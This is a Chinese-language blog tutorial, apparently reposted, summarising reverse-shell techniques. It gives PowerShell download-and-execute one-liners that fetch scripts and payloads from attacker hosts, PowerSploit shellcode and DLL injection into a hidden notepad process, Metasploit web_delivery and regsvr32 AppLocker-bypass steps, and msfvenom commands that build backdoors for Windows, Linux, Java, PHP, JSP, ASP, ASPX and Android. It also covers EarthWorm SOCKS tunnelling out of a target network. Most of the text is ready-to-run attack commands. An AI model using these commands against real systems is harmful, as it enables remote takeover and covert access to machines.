首页前端开发HTML反弹shell的学习总结 - Part 2(下)

反弹shell的学习总结 - Part 2(下)

时间2023-07-09 07:27:01发布访客分类HTML浏览815
导读:2.5 PowerSploitPowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程 、Inject-Shellcode(注入shellcode到执行进程...

2.5 PowerSploit


PowerSploit是又一款基于powershell的后渗透攻击框架。PowerSploit包括Inject-Dll(注入dll到指定进程)、Inject-Shellcode(注入shellcode到执行进程)等功能。


利用msfvenom、metasploit和PowerSploit中的Invoke-DllInjection.ps1 实现dll注入,反弹shell


2.5.1 执行ShellCode反弹Meterpreter Shell


Step 1:下载PowerSploit到本地,使用python搭建简易服务器(python -m SimpleHTTPServer 9889),http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1



Step 2:MSF中选择reverse_tcp模块进行反弹



然后使用msfvenom命令生成powershell脚本木马


msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=4444 -f powershell -o ./test在msfvenom中自动补全的方法:
1、安装zsh
2、~/.oh-my-zsh/custom/plugins/msfvenom/ 创建这样一个目录
3、编辑 ~/.zshrc   添加plugins=(msfvenom)
4、_msfvenom 复制到~/.oh-my-zsh/custom/plugins/msfvenom/ 目录中
5、Source  ~/.zshrc



将生成的test文件复制到python搭建的web服务器中,于是有:http://192.168.1.18:9889/test


step 3:在目标机上执行powershell下载脚本


powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-Shellcode.ps1')



下载MSF产生的木马文件


IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/test')
最后运行木马文件:
Invoke-Shellcode -Shellcode ($buf)  -Force



其中-shellcode()表示执行恶意代码的函数,$buf是test文件中恶意代码



最后就能在MSF看到反弹的shell



2.5.2 DLL注入反弹shell


使用模块的是Invoke-DllInjection.ps1,它是一个DLL注入的脚本,首先还是要下载脚本:


powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ')
然后在kali中生成一个DLL注入脚本
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.28 lport=6667 -f dll -o ./pentest.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.129 lport=6667 -f dll  -a x64 --platform windows -o  ./test.dll



接着将生成好的DLL文件复制python服务器中,于是有:http://192.168.1.18:9889/pentest.dll,然后在目标机上下载该文件到C盘



在目标机上启动一个进程进行DLL注入,可以后续的注入更加隐蔽,使用如下的命令新建一个名为notepad.exe的隐蔽进程:


Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden



然后执行下面的代码:


powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.18:9889/CodeExecution/Invoke-DllInjection.ps1 ');
    Invoke-DllInjection -ProcessID 1124 -Dll c:\pentest.dll



最后在MSF能看到反弹的shell。

0x03 MSF反弹shell


3.1 使用regsvr32_applocker_bypass_server反弹shell


利用metasploit的web_delivery模块可通过python、php、powershell、regsvr32等进行反弹shell


use exploit/windows/misc/regsvr32_applocker_bypass_server/small>
    
set LHOST ip 
set lport port



然后run,然后会生成一个改注册表的,复制下来在目标机的cmd运行一下,就会反弹一个shell回来。



在kali中可以看到反弹的shell



3.2 结合MSF和Powershell Getshell


MSF使用的模块是exploit/multi/script/web_delivery




执行run之后,会看到生成的powershell命令,复制出来,在目标机上执行


powershell.exe -nop -w hidden -c $h=new-object net.webclient;
    $h.proxy=[Net.WebRequest]::GetSystemWebProxy();
    $h.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;
    IEX $h.downloadstring('http://192.168.1.28:8080/SpTrvxeyZrqgifq');
    


在MSF中就会看到反弹shell:



3.3. Metasploit之多种后门生成


(1)windows    -->
    使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=44444 X >
    test.exe
(2)linux      -->
    使用模块“linux/x86/meterpreter/shell_rverse_tcp”
命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 X >
    text
参考文章:http://xiao106347.blog.163.com/blog/static/215992078201310253172937/
(3)java       -->
    使用模块“java/meterpreter/reverse_tcp”
命令:msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 W >
    text.jar
(4)php        -->
    使用模块“php/meterpreter/reverse_tcp”
命令:msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >
    text.php
参考文章:http://www.111cn.net/phper/phpanqn/101228.htm
(5)jsp        -->
    使用模块“java/jsp_shell_reverse_tcp”
命令:msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >
    text.jsp
参考文章:http://netsecurity.51cto.com/art/201406/442648.htm
(6)asp        -->
    使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f asp >
     shell.asp
参考文章:http://www.ithao123.cn/content-10813776.html
(7)aspx       -->
    使用模块“windows/meterpreter/reverse_tcp”
命令:msfvenom -a x86 --platform win -p windows/meterpreter/reverse_tcp LHOST= 192.168.1.109 LPORT=7788 -f aspx x>
     /home/niexinming/back.aspx
参考文章:http://www.ithao123.cn/content-10813776.html
(7)android    -->
    使用模块“android/meterpreter/reverse_tcp”
命令:msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 R >
    text.apk
参考“13-Metasploit之渗透安卓实战”


1、 SSH端口转发


(1)SSH本地端口转发



(2)SSH远程转发



2、 EarthWorm端口转发


EW是一套便携式的网络穿透工具,具有SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。该工具共有6种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。


正向 SOCKS v5 服务器
  $ ./ew -s ssocksd -l 1080
反弹 SOCKS v5 服务器
  这个操作具体分两步:
  a) 先在一台具有公网 ip 的主机A上运行以下命令:
  $ ./ew -s rcsocks -l 1080 -e 8888 
  b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
  $ ./ew -s rssocks -d 1.1.1.1 -e 8888 
 成功。
其他工具可参考:https://mp.weixin.qq.com/s/LEhOCns-pLLwjDT9VwozfA##

声明:本文内容由网友自发贡献,本站不承担相应法律责任。对本内容有异议或投诉,请联系2913721942#qq.com核实处理,我们将尽快回复您,谢谢合作!


若转载请注明出处: 反弹shell的学习总结 - Part 2(下)
本文地址: https://pptw.com/jishu/297704.html
WebShell 特征分析 Oracle注入(中)

游客 回复需填写必要信息